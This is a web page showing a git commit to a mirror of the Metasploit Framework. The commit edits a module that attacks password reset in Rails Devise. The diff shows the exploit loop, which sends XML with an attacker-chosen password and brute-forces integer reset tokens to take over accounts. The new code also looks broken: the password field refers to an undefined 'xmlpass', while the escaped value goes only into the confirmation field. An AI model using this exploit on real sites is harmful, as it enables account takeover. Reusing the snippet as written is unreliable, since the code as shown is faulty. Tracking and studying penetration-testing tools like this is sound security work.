infosecn1nja
/
metasploit-framework
mirror of https://github.com/infosecn1nja/metasploit-framework.git
1
0
Fork 0
Code Issues Packages Projects Releases Wiki Activity

Uses REXML for encoding of password.

bug/bundler_fix
Jeff Jarmoc 2013-02-11 11:12:29 -06:00
parent 43a1fbb6f2
commit e72dc47448
1 changed files with 6 additions and 3 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

9
modules/auxiliary/admin/http/rails_devise_pass_reset.rb
View File

@ -6,6 +6,7 @@
##
require 'msf/core'
require 'rexml/element'
class Metasploit3 < Msf::Auxiliary
@ -80,13 +81,15 @@ class Metasploit3 < Msf::Auxiliary
end
def reset_one(password, report=false)
print_status("Resetting password to \"#{datastore['PASSWORD']}\"") if report
print_status("Resetting password to \"#{password}\"") if report
(0..datastore['MAXINT']).each{ |int_to_try|
encode_pass = REXML::Text.new(password).to_s
xml = ""
xml << "<user>"
xml << "<password>#{password}</password>"
xml << "<password_confirmation>#{password}</password_confirmation>"
xml << "<password>#{xmlpass}</password>"
xml << "<password_confirmation>#{encode_pass}</password_confirmation>"
xml << "<reset_password_token type=\"integer\">#{int_to_try}</reset_password_token>"
xml << "</user>"